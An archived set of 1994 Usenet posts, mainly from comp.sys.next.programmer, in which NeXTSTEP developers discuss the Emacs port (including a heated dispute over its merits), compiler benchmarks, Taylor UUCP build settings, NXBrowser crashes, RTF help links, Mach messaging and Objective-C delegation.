From: sowa@amdew.llnl.gov (Erik C. Sowa) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 27 Apr 1994 22:13:29 GMT Organization: LLNL Chemistry and Materials Science Message-ID: <SOWA.94Apr27151329@amdew.llnl.gov> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> <ROBERT.94Apr27091642@steffi.demon.co.uk> <SWIFT.94Apr27110648@acs3.nntp-read.bu.edu> <BHILL.94Apr27105902@spike.physics.ucla.edu> In-reply-to: bhill@physics.ucla.edu's message of 27 Apr 1994 17:59:02 GMT >>>>> "Brian" == Brian Hill <bhill@physics.ucla.edu> writes: Brian> I remain interested in getting an understanding of what level of Brian> effort it will take to keep merging changes into the emacs Brian> releases, and whether the contributors to Emacs-4.0 think that Brian> will be feasible. It would be easier if only Stallman would let the ns-specific changes get rolled into the standard release. -- erik sowa (sowa@amdew.llnl.gov)
From: dsiebert@icaen.uiowa.edu (Doug Siebert) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko chatter Date: 27 Apr 1994 22:00:48 GMT Organization: Iowa Computer Aided Engineering Network, University of Iowa Message-ID: <2pmnag$pnt@news.icaen.uiowa.edu> References: <2pfbqp$in3@news.icaen.uiowa.edu> <2pjdrt$9fr@cerberus.wsc.com> samurai@hasc.ca (Darcy Brockbank) writes: >In article <2pfbqp$in3@news.icaen.uiowa.edu> dsiebert@icaen.uiowa.edu >(Doug Siebert) writes: >> samurai@hasc.ca (Darcy Brockbank) writes: >> >> >Don't count the GNU compiler out! It's pretty good. Here's a >> >program of mine that was compiled with both compilers: >> >> >(gcc-2.5.8/gas -O4 -finline-functions) >> >+ Total REAL: 20000 records processed in 25.65 seconds (779.58 r/s). >> >> >(cc +O3) >> >+ Total REAL: 20000 records processed in 25.41 seconds (787.13 r/s). >> >> Try getting the latest compiler (A.09.64, I can't remember the patch >number >> off the top of my head, sorry) and try it with +O4 +Oall -Wl,-a,archive. >I'm >> willing to bet you get nearly double the performance. HP just updated >their >I have the latest compiler, and I've just recompiled using the >options you've asked for... however, gcc is using the hp version >of ld, so it gets the HP link-level optimizations also ;-). I didn't >do it before because I thought it hung! You're not joking when >you said it takes a long time to link... >I couldn't get the full optimization from these options though, >because I'm dynamically loading some code later on, and >the optimizations took some symbols out of my symbol table >that I needed. Anyway, I did pass -O to the linker though, >and the resulting code ran slightly slower... What you're seeing really isn't "link" time, +O4 doesn't compile the .c files, it preprocesses them into bogus .o files. The 'cc -o ...' actually runs the C compiler (uccom) so it can globally optimize over all the .o files that were compiled with +O4. So passing -O to the linker, while it may help a bit, is definitely not getting the 20-30% speedup that HP got in the SPEC results from this new compiler. I can imagine since the .o files aren't real .o files, the dynamic linking thing won't work. Maybe you could compile everything with +O4 except the dynamically linked stuff, that may turn the trick (or may not...) -- Douglas Siebert dsiebert@isca.uiowa.edu
Newsgroups: comp.sys.next.programmer From: westes@netcom.com (Will Estes) Subject: Problems installing Taylor UUCP Message-ID: <westes.15.001054F0@netcom.com> Sender: netnews@netcom.com (USENET Administration) Organization: U.S. Computer Date: Thu, 28 Apr 1994 00:19:47 GMT While compiling a module in Taylor UUCP 1.04, I ran into a problem regarding which of several stat functions to use. Which of the following should be definied under NS 3.2 FIP? /* When Taylor UUCP is talking to another instance of itself, it will tell the other side the size of a file before it is transferred. If the package can determine how much disk space is available, it will use this information to avoid filling up the disk. Define one of the following macros to tell the code how to determine the amount of available disk space. It is possible that none of these are appropriate; it will do no harm to use none of them, but, of course, nothing will then prevent the package from filling up the disk. Note that this space check is only useful when talking to another instance of Taylor UUCP. STAT_STATVFS statvfs function STAT_STATFS2_BSIZE two argument statfs function with f_bsize field STAT_STATFS2_FSIZE two argument statfs function with f_fsize field STAT_STATFS2_FS_DATA two argument statfs function with fd_req field STAT_STATFS4 four argument statfs function STAT_USTAT the ustat function with 512 byte blocks. */ #define STAT_STATVFS 0 #define STAT_STATFS2_BSIZE 0 #define STAT_STATFS2_FSIZE 0 #define STAT_STATFS2_FS_DATA 1 #define STAT_STATFS4 0 #define STAT_USTAT 0 The above is the default, and it fails to compile. -- Thanks, Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Problem with NXBrowser & View -lockFocus Message-ID: <1994Apr27.221243.329@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <1994Apr27.050900.13013@dolphin.com> Distribution: usa Date: Wed, 27 Apr 1994 22:12:43 GMT In article <1994Apr27.050900.13013@dolphin.com> Zacharias J. Beckman <zac@dolphin.com> writes: > I'm having trouble removing a cell from an NXBrowser. What I want to do is > this: When a user clicks on an item in the NXBrowser, it should be removed > from the NXBrowser. I have the doClick: action connected to an appropriate > method. At some point, it does this: > > cellList = [AAUserBrowser getSelectedCells:nil]; > > index = [cellList count]; > > while (index-- > 0) > [[AAUserList removeObjectAt:[[cellList objectAt:index] tag]] free]; > > Which steps through the NXBrowser's delegate (the AAUserList) removing each > currently selected cell from the list. But later when I do this: > > [AAUserBrowser loadColumnZero]; > > The application crashes, reporting the following problem: > > Assertion failed: You removed a View from the View hierarchy that had been > lockFocus'ed > Program generated(1): Memory access exception on address 0x4 (protection > failure). > A couple things spring to my mind: First, this is a classic instance of needing to use: peform:with:afterDelay:cancelPrevious: Add a method - ditchCellInThisList:alist, and call it with [self perform:@selector(ditchCellInThisList:) with:cellList afterDelay:.1 cancelPrevious:NO]; That'll clear up your "Assertion failed: You removed a View from the View hierarchy that had been lockFocus'ed." You shouldn't be freeing stuff that is currently locked focus on. Then, to be super safe, use NXApp delayedFree: instead of freeing them right away, so it would be something like: - ditchCellInThisList:alist { int index = [cellList count]; while (index-- > 0) [NXApp delayedFree:[AAUserList removeObjectAt:[[cellList objectAt:index] tag]]]; return NXLogError("BUY THE DOLPHIN KIT NOW"); // whoops ;-) } andrew -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Those Link buttons in Help & Edit, What the heck? Message-ID: <1994Apr27.223019.426@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp Date: Wed, 27 Apr 1994 22:30:19 GMT I'm writing an app to allow viewing a hierarchy of README files, all in the same window. The motivation is that I love those little blue link buttons that you can insert into RTF text to link to other files in a relative hierarchy: in our new CDROM I use this to browse around, but who wants to keep closing Edit windows? If you've never played with them in Edit: Format->Help->Insert Link. Anyway, has anyone figured out how to use these devils? In Edit and the NXHelpPanel, they correctly open the file in the link, but if you click on them in your own text window or Mail, they do zilch. Here's an rtf file, conveniently asciied for you that show one of these pups: (to reconstitute, copy it, in a terminal type: paste > /tmp/hi.rtf) {\rtf0\ansi{\fonttbl\f0\fmodern Ohlfs;} \paperw9840 \paperh11200 \margl120 \margr120 {\pard\tx1152\tx2304\tx3456\tx4608\tx5760\tx6912\tx8064\tx9216\tx10368\tx1 1520\f0\b0\i0\ulnone\fs24\fc0\cf0{\NeXTHelpLink0 \markername ;\linkFilename /etc/rc.local;\linkMarkername ;} }} Anyone know how to be notified when the marker gets mouseDown:'ed on? -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.programmer From: tjspiel@maroon.tc.umn.edu (Tom J Spiel) Subject: NeXTSTEP and Smalltalk development Message-ID: <tjspiel.767505743@maroon> Summary: Looking for opinions of those who have built both NeXT, Smalltalk apps Keywords: NeXTSTEP Smalltalk Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities Date: Thu, 28 Apr 1994 04:02:23 GMT I'm interested in getting the opinions of those people out there who have done both NeXTStep and Smalltalk development, especially with Database applications. Which is faster for development, and how much difference is there? Which environment produces the best performance and usability in the finished product? Thanks in advance.
From: paulw@revco.com (Paul Winkeler) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 27 Apr 1994 14:39:04 GMT Organization: Revco D.S. Inc. Message-ID: <2plte8$1pr@hptwin.revco.com> References: <1994Apr23.081007.764@prim.demon.co.uk> In comp.sys.next.programmer article <1994Apr23.081007.764@prim.demon.co.uk> you wrote: > In article <2p6qg8$13n@marsu.tynet.sub.org> mow@marsu.tynet.sub.org writes: > > > >BTW: A friend of mine already has a 712/60. He compiled Taylor uucp 1.04 > >in about 7 min, my DX2/66 took about 7.5 min. So I think compilation time > >isn't the right thing to compare performance. > > It's what a lot of us spend our time doing though. No point in it running > specially designed benchmarks really fast. > > Dave Griffiths swiet@syzygy.cs.jhu.edu (Alexander Swietlicki) already mentioned this as well but I thought I'd throw in my five cents worth. Having hacked a fair bit on cross compilers by way of mutilating, errrr I mean modifying, gcc, I can assure you first hand that compiling for RISC architectures takes significantly longer. Think of it this way: In CISC an instruction set designer has tried to pre-optimize certain operations based on the frequency of their appearance in some set of programs. RISC's claim is that by giving you the raw primitives the compiler gets to "custom optimize" the instruction set for your app. Regardless of how good a job of this it does, it does take time! Secondly, think about rule #1 in benchmarking: Make sure you are comparing identical exotic fruits! The compiler is in fact doing something quite different on the 68K, Intel and PA-Risc machines: Generating code for radically different processor instruction sets. One is much better off comparing the speeds of the resultant programs to each other as those are at least identical. (Although one should not forget that the compiler may very well be to blame when a machine's performance does not live up to one's expectations!) -- Paul Winkeler <paulw@revco.com> Director Network Systems at Revco D.S., Inc. 1925 Enterprise Parkway, Twinsburg, OH 44087 Voice: +216-487-1400 FAX: +216-487-1050
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 28 Apr 1994 08:25:49 GMT Organization: San Francisco State University Message-ID: <2pnrud$55q@nic-nac.CSU.net> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> <CEDMAN.94Apr27193721@capitalist.princeton.edu> Let me make a few things clear: (1) I am not saying that Emacs.app is a _bad_ thing--clearly there's demand for it, and it represents an "advance" over what NeXT has been distributing. (2) I *did* read the source. And I searched for very specific _known_ pitfalls. It almost seems as though we have two very different versions. (3) There is an awful lot of host environment-dependency already, both in the C code and the elisp code. It's a little late to feign innocence. I agree that Stallman is being an obstructionist. Perhaps things will change with OpenStep. [Not holding my breath...] (4) Using NXDataLinkManager doesn't require "rewriting a significant fraction of the GNU emacs code." File handling is pretty well confined to two source files. The necessary changes are quite minor. (5) I *was* going to contribute code to make it compatible with openfile(1), but since you seem to be more interested in pretty screen shots than actual functionality, I'll not waste any more of your time. (6) My major objection is to the specific claim that Emacs.app can serve as a replacement for Edit.app. This is just not the case. It may be a very good Emacs, but it's not a very good NEXTSTEP application--even though some very talented people worked on it, and invested enough time and effort to qualify for the "Microsoft Windows league." -=EPS=-
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: bhill@physics.ucla.edu's message of 26 Apr 1994 19:20:41 GMT To: bhill@physics.ucla.edu (Brian Hill) Message-ID: <CEDMAN.94Apr27151402@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> Date: Wed, 27 Apr 1994 19:14:00 GMT In article <BHILL.94Apr26122041@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: Perhaps you could tell us what to expect as new versions of emacs come out. In particular, when 19.23 is released, do you intend to reincorporate the changes that are necessary for Emacs.app v 4.0? Thanks. Emacs 19 for NS began its life as a modification to GNU Emacs 19.19 at the end of last summer. Since then I've kept it up to date with the help of CVS. Each of the updates to 19.20, 19.21 and 19.22 was not automatic but required relatively little manual intervention and less than an hour of time (most of which was spent waiting for CVS to check versions in and out). The reason for that is that I took great care not to modify the core GNU Emacs code more than absolutely necessary but instead kept all the additions in separate files and with programmer interfaces which mimic the X interfaces almost perfectly. That was, BTW, also the most common reason for not adding various NeXTy features which testers asked for. So I don't expect updates to 19.23 and later version to be very difficult unless the FSF decides to radically change the way the X interface functions are called in which case all bets are off. Carl Edman
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: DO/MACH and TCP/IP, are we all friends? Date: 28 Apr 1994 09:04:06 GMT Organization: San Francisco State University Message-ID: <2pnu66$6o2@nic-nac.CSU.net> References: <Coxq5v.957@news.cis.umn.edu> Not only can you not do this, you *must* not be able to do this-- otherwise you completely violate Mach's messaging paradigm, which stipulates that you NOT know *anything* about the other end--and even allows the other end to move around without your knowledge or consent. (Useful in distributed systems!) The simple rule is: if you don't want someone to have access to a port, don't give it out. If you're worried about security/ integrity, encrypt your data. If you need to know who's at the other end of a connection, Mach messaging is simply the wrong tool. Check out rpc(3n)--it probably does exactly what you want. -=EPS=-
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: eps@futon.SFSU.EDU's message of 27 Apr 1994 04:42:05 GMT To: eps@futon.SFSU.EDU (Eric P. Scott) Message-ID: <CEDMAN.94Apr27193721@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> Date: Wed, 27 Apr 1994 23:37:20 GMT In article <2pkqet$4pt@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: Let's see... it doesn't honor -NXOpen, so I can't use it as a default application. That's not true. Emacs understand both the -NXOpen option and the method calls to open files once Emacs has been started. If you had bothered to either check the documentation or the source, you would know that. It doesn't use NXDataLinkManager, so it won't work with RBrowser. NXDataLinkManager is a matter of data, not user interface -- not something which can be added without rewriting a significant fraction of the GNU emacs code. Of course the need for the likes of RBrowser is pretty much obviated by Emacs built-in modes, like ange-ftp, dired, various local and remote shell modes and the like. One might even point out that those methods for remote data access are significantly faster over limited bandwidth links than RBrowser (which is effectively useless over even a high speed CSLIP connection). It has 92dpi *hardwired*, so it does the wrong thing on many color systems. etc. etc. The only location in the code where 92 DPI is used is in a pair of obscure elisp functions which give the width of the height of the screen in mm rather than pixels. Those functions aren't even called anywhere in any code I've seen. Hardly a show stopper. Now, if you wish to contribute software which finds out what actual physical size the monitor connected to the system is, you are very welcome. (I guess I shouldn't ask dumb questions like "does it support systems with ADB keyboards.") Why stop now just when you are on a roll ? Emacs for NS works with every single keyboard and keymapping, foreign and domestic in /NextLibrary/Keyboards. That includes old-style keyboards, ADB keyboards and a wide variety of PC keyboards including 4 different Japanese PC keyboards alone for which support was added. In contrast to Edit.app, it even maps (and allows the rebinding of) PC keyboard function keys and other special keys which are just ignored by most NS apps. "Needs work" Let me tell you about the work in Emacs for NS. Getting Emacs to run as well as it does under NS has over the past nine months used up thousands of programmers hours by almost a dozen first-rate programmers all of which worked for free with no reward beyond a sentence or two in the thanks section of the manual. Even before it was publicly released it went through seven alpha releases and after a feature moratorium it went through another six beta releases for the sole purpose of ironing out bugs and incompatibilities with obscure hardware. During that period more than half of the two hundred beta testers grabbed the latest release every week, tested it and many sent in bug reports and suggestions. About a thousand of those (and a similar number of replies) are on file here. Now please, Mr Scott, tell us exactly how many seconds did it take you to come to and spew forth on the net these ill founded opinions of yours ? Carl Edman
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: robert@steffi.demon.co.uk's message of 27 Apr 1994 13:02:03 GMT To: robert@steffi.demon.co.uk (Robert Nicholson) Message-ID: <CEDMAN.94Apr27194437@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> <ROBERT.94Apr27140203@steffi.demon.co.uk> Date: Wed, 27 Apr 1994 23:44:36 GMT In article <ROBERT.94Apr27140203@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: Carl, Is it possible to map colors from an NXColorPanel to those that Emacs understands? Perhaps that's another thing that could be done? It would be really cool if "faces" accepted swatches :-) Yes, that could be added and is on the wish list for the next release now. I didn't realize that so many people would want to play with colors in Emacs. :-) In any case, you can already use all the names in all the standard NS color lists (in addition to those in Emacs.clr). Carl Edman
From: swiet@whatever.cs.jhu.edu (Alexander Swietlicki) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 28 Apr 1994 05:39:42 GMT Organization: Computer Science Department, The Johns Hopkins University Message-ID: <SWIET.94Apr28013947@whatever.cs.jhu.edu> References: <1994Apr23.081007.764@prim.demon.co.uk> <2plte8$1pr@hptwin.revco.com> In-reply-to: paulw@revco.com's message of 27 Apr 1994 14:39:04 GMT In article <2plte8$1pr@hptwin.revco.com> paulw@revco.com (Paul Winkeler) writes: Secondly, think about rule #1 in benchmarking: Make sure you are comparing identical exotic fruits! The compiler is in fact doing something quite different on the 68K, Intel and PA-Risc machines: Generating code for radically different processor instruction sets. Very well then. Can anyone post some benchmarks on compiling an app fat -- with and without -pipe on the various machines? Or, at least, compiling say, a fat Intel+Motorola Draw.app on each of Intel, Motorola, HP... However, I still think compiling is compiling. I don't care what pains the compiler has to go through to make a binary for the machine I'm on. If I'm looking to do any sort of programming on a machine, then compilation time is very important. Think of the compiler as just another app, but one that should run fast. Benchmarks are valuable -- even if the compiler is generating apples and oranges on different machines.
From: kline@CS.Arizona.EDU (Nick Kline) Newsgroups: comp.sys.next.programmer,comp.lang.postscript Subject: how to choose a color for my cursor Followup-To: comp.sys.next.programmer Date: 28 Apr 1994 02:43:29 -0700 Organization: University of Arizona CS Department, Tucson AZ Message-ID: <2po0g1$4an@cheltenham.cs.arizona.edu> I have a problem where I don't know how to choose the color of a cursor on a next machine using display postscript. I have an text application which used to be in black and white, the background was white, and the text was black, and for the cursor, I just did NXHighLightRect(). The cursor was always easy to see and to hide it again I'd just do another NXHighLightRect(). Then I converted my app to use arbitrary colors. Now, for many color selections, the cursor is invisible. NXHighLightRect() doesn't show up as anything for many colors. Any suggestions on how, given two arbitrary colors, I can choose a third and use it to highlight the first two? And it would be nice if there was an easy way to add it on top of whatever was there and remove it also without redrawing that area of the screen. I suppose for this I should use one of the composition operators in postscript (which I really don't understand too well). I played around with edit and it seems that it handles this problem somehow. I took a color selection (a shade of green) that makes the cursor invisible and in Edit.app it was still possible to see the "selection" of this text. thanks, nick
From: gguelden@ixpoint.de Newsgroups: comp.sys.next.programmer Subject: Re: NeXTSTEP and Smalltalk development Date: 28 Apr 1994 10:34:58 GMT Organization: iXpoint Informationssysteme GmbH, Waldbronn, Germany Message-ID: <2po3gi$cf4@balu.ixpoint.de> References: <tjspiel.767505743@maroon> In article <tjspiel.767505743@maroon> tjspiel@maroon.tc.umn.edu (Tom J Spiel) writes: > I'm interested in getting the opinions of those people out there who have > done both NeXTStep and Smalltalk development, especially with Database > applications. > > Which is faster for development, and how much difference is there? > > Which environment produces the best performance and usability in the > finished product? If you want to, why not using Smalltalk under NEXTSTEP. Best of both worlds. Gerd ++++++++++++++++++++++++++++++++++++++++++++++++++ + Dipl.- Inform. Gerd Gueldenpfennig + + iXpoint Informationssysteme GmbH + + Im Ermlisgrund 20-24 76337 Waldbronn Germany + + Phone ++49 7243/65535 Fax ++49 7243 69817 + + Email: gguelden@ixpoint.de (NeXTmail welcome) + ++++++++++++++++++++++++++++++++++++++++++++++++++
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: PRECOMPILED HEADERS(appkit/Application.h)? Date: 28 Apr 1994 00:39:23 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr28013923@steffi.demon.co.uk> References: <1994Apr27.210456.15198@cs.uno.edu> To: raghu@charlie (Raghu Dev) In-reply-to: raghu@charlie's message of Wed, 27 Apr 1994 21:04:56 GMT Are you sure it's not appkit/appkit.h your talking about? Regardless you should _not_ need to do that.. You only need to import appkit.h in your implementation file... If you need to refer to a class in the interface use @class instead (Look up the Objective-C documentation in Concepts) When you build precompiled headers for your own classes/libraries the headers for your own classes with include all of those headers that you have imported in your interface... Read: You'll get huge precompiled headers.. You don't want that. -- "Kill files are for pacifists" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 28 Apr 1994 00:40:59 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr28014059@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> <ROBERT.94Apr27091642@steffi.demon.co.uk> <SWIFT.94Apr27110648@acs3.nntp-read.bu.edu> <BHILL.94Apr27105902@spike.physics.ucla.edu> <SOWA.94Apr27151329@amdew.llnl.gov> To: sowa@amdew.llnl.gov (Erik C. Sowa) In-reply-to: sowa@amdew.llnl.gov's message of 27 Apr 1994 22:13:29 GMT Exactly, started a thread on this subject this week in gnu.misc.discuss and comp.sys.next.advocacy... I think it's dead ... Want to revive it? :-) -- "Kill files are for pacifists" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: phil@hp9000.vicorp.com (Phil Romine) Subject: Trouble connecting to Sybase... Message-ID: <PHIL.94Apr28091314@hp9000.vicorp.com> Sender: usenet@all.vis.com Date: Thu, 28 Apr 1994 13:13:14 GMT Having had no success getting DBModeler on my NS 3.2 system to connect to my Tandem's Sybase server, I ran /usr/sybase/bin/isql and got the following error: DB-LIBRARY error: Unrecognized TDS version received from SQL Server. Tandem says their Sybase server supports TDS version 4.9. Should I be able to connect to this? Any ideas about why I can't?? -- -------------------------------------------------------------------- Phil Romine, promine@vis.com, Voice: 617/859-1275, FAX: 617/536-6647 Vicorp Interactive Systems, 399 Boylston St, Boston, MA 02116, USA
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Those Link buttons in Help & Edit, What the heck? Message-ID: <1994Apr28.102527.5258@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <1994Apr27.223019.426@stone.com> Date: Thu, 28 Apr 1994 10:25:27 GMT In article <1994Apr27.223019.426@stone.com> andrew@stone.com writes: >I'm writing an app to allow viewing a hierarchy of README files, all in >the same window. The motivation is that I love those little blue link >buttons that you can insert into RTF text to link to other files in a >relative hierarchy: in our new CDROM I use this to browse around, but who >wants to keep closing Edit windows? If you've never played with them in >Edit: Format->Help->Insert Link. > >Anyway, has anyone figured out how to use these devils? In Edit and the >NXHelpPanel, they correctly open the file in the link, but if you click on >them in your own text window or Mail, they do zilch. It's interesting that they appear at all in your own Text object (and I once tried putting help links into the NeXT documentation in the hope that DL would recognize them - the diamond appeared, but did nothing). The Text object must partially recognize \NeXTHelpLink0 by default. >Here's an rtf file, conveniently asciied for you that show one of these >pups: (to reconstitute, copy it, in a terminal type: paste > /tmp/hi.rtf) > >{\rtf0\ansi{\fonttbl\f0\fmodern Ohlfs;} >\paperw9840 >\paperh11200 >\margl120 >\margr120 >{\pard\tx1152\tx2304\tx3456\tx4608\tx5760\tx6912\tx8064\tx9216\tx10368\tx1 >1520\f0\b0\i0\ulnone\fs24\fc0\cf0{\NeXTHelpLink0 \markername >;\linkFilename /etc/rc.local;\linkMarkername ;} > }} > >Anyone know how to be notified when the marker gets mouseDown:'ed on? What you need to do is to implement your own graphics cell (as described in the Text class) and make the Text object associate it with \NeXTHelpLink0 by doing: [Text registerDirective:"NeXTHelpLink" forClass:[HelpCell class]]; where HelpCell is your own graphics cell class (eg subclass of object). You get the parameters \markername and \linkFilename by parsing the stream in -readRichText:forView:. You'll have to work out where the diamond tiff is stored for your drawSelf. Also, it looks from the documentation as though only the first call to +registerDirective is recognized, so that may have to go in +initialize. Then just implement trackMouse:inRect:ofView: to find out if it's been clicked on. Maybe you were hoping for an easier solution? :-) It won't help with Mail.app unfortunately. Dave Griffiths
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: cmsg cancel <ROBERT.94Apr28123312@steffi.demon.co.uk> Control: cancel <ROBERT.94Apr28123312@steffi.demon.co.uk> Date: 28 Apr 1994 11:48:01 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr28124801@steffi.demon.co.uk> -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.lang.objective-c,gnu.emacs.help,comp.sys.next.programmer Subject: objective-C-mode.el? Date: 28 Apr 1994 12:23:39 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Apr28132339@steffi.demon.co.uk> To: robert@steffi.demon.co.uk (Robert Nicholson) In-reply-to: robert@steffi.demon.co.uk's message of 28 Apr 1994 12:21:21 GMT This is quite an old file... I'm amazed that "protocols" are in there... Perhaps they are non NeXT conformant... Anyway, is anybody using this to their satisfaction? My concern is that because it's so old and basically and extension to c-mode.el it might not have kept up with work done to c-mode.el? -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 28 Apr 1994 12:38:24 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr28133824@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> <CEDMAN.94Apr27193721@capitalist.princeton.edu> <2pnrud$55q@nic-nac.CSU.net> To: eps@futon.SFSU.EDU (Eric P. Scott) In-reply-to: eps@futon.SFSU.EDU's message of 28 Apr 1994 08:25:49 GMT Hey Eric, we all friends in here OK. Let me make a few things clear: (1) I am not saying that Emacs.app is a _bad_ thing--clearly there's demand for it, and it represents an "advance" over what NeXT has been distributing. True. (2) I *did* read the source. And I searched for very specific _known_ pitfalls. It almost seems as though we have two very different versions. Really? (3) There is an awful lot of host environment-dependency already, both in the C code and the elisp code. It's a little late to feign innocence. I agree that Stallman is being an obstructionist. Perhaps things will change with OpenStep. [Not holding my breath...] Well as far as the specific GUI stuff goes I'm lead to believe that Carl abstracted the common API and you specialize by providing gui implementations. That's how it should be and RMS is a fool to continue with the current locked in X support. (4) Using NXDataLinkManager doesn't require "rewriting a significant fraction of the GNU emacs code." File handling is pretty well confined to two source files. The necessary changes are quite minor. Really, Carl attempted to add some NS specific stuff but I think he only wants to provide NS support for that which already exists in X in order to make upgrades easier. ie. he's abstracted _commonality_ and his NS stuff is largley specializations with the exception of Services I think. (5) I *was* going to contribute code to make it compatible with openfile(1), but since you seem to be more interested in pretty screen shots than actual functionality, I'll not waste any more of your time. No don't do that. I think Carl acted in a rather defensive manner inapprorpriately (as we all do sometimes) but I'm sure he would like you to contribute should you want to. (6) My major objection is to the specific claim that Emacs.app can serve as a replacement for Edit.app. This is just not the case. True but you have to put it into context... If you aren't using RTF source which Emacs doesn't do anyway.. It can be considered a replacement _in fact_ a bloody good one at that. It may be a very good Emacs, but it's not a very good NEXTSTEP application--even though some very talented people worked on it, and invested enough time and effort to qualify for the "Microsoft Windows league." Hmm, I don't understand that statement... If it _was_ to be a "traditional" NS app. It's support would be frozen. The most important thing for Emacs users is the _core_ functionality and so measures must be taken to ensure that future updates can be easily supported. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jerald@mrk.com (Jerald Dawson) Subject: Re: delegation and inheritance Message-ID: <Coz3s5.4pK@mrk.com> Sender: jerald@mrk.com (Jerald Dawson) Organization: Investor's Advantage References: <QX8NB8SU@gwdu03.gwdg.de> Distribution: usa Date: Thu, 28 Apr 1994 14:19:17 GMT In article <QX8NB8SU@gwdu03.gwdg.de> mzeller@gwdu03.gwdg.de (Meinrad Zeller) writes: > <munch> > The delegation methods implemented for many objects before protocols > and forward in my opinion were no real delegation in the sense of > the definition above. So it might be correct to say, that Objective C > doesn't support inheritance and delegation, but the NeXT Objective C > extensions do! > > : Considering that it is Byte, though, perhaps not. Their narrowness of > : vision is well known, so it wouldn't suprise me if Objective-C missed that > : authors attention. > > May be he only wasn't aware of the NeXT Objective C extensions - so > actually his vision wasn't that narrow. Still, it'd be worth it to > inform this guy that there actually IS a language which supports this. I sent a message to Dick Pountain, one of the authors of the article, about this very thing and received a reply back. He was interested in what I had to say but stood by his assertion that no Language supports both Inheritance and delegation. Next's Obj-c supports delegation through its Object Class, ie, the compiler doesn't know anything about it. I guess my arguement for that would be "It works for me". P.S. I've sent quite a few letters to different Byte authors and have found them to be quite knowledgable about NEXTSTEP. -- jerald dawson * Systems Manager/Head Programmer * Investor's Advantage NeXTmail - jerald@mrk.com | phone - (708) 487-3221 | Don't blame me. I voted for Bush.
